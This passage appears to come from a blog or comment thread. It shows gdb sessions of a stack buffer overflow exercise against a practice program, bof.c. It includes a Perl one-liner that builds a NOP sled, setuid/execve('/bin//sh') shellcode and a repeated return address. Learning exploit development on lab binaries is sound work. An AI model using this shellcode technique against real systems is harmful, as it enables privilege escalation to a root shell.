(gdb) run test to see where esp is
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof test to see where esp is
Breakpoint 1, main (argc=7, argv=0xbffff434) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) i r esp
esp 0xbffff210 0xbffff210
(gdb)

10 responses

root@localhost:/home/gunslinger/bof# gdb -q bof
(gdb) b 7
Breakpoint 1 at 0x80483cd: file bof.c, line 7.
(gdb) run test to see where esp is
Starting program: /home/gunslinger/bof/bof test to see where esp is

Program received signal SIGSEGV, Segmentation fault.
0xbffff2ac in ?? ()
(gdb) run `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80” . “\x36\xf2\xff\xbf” x 45’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y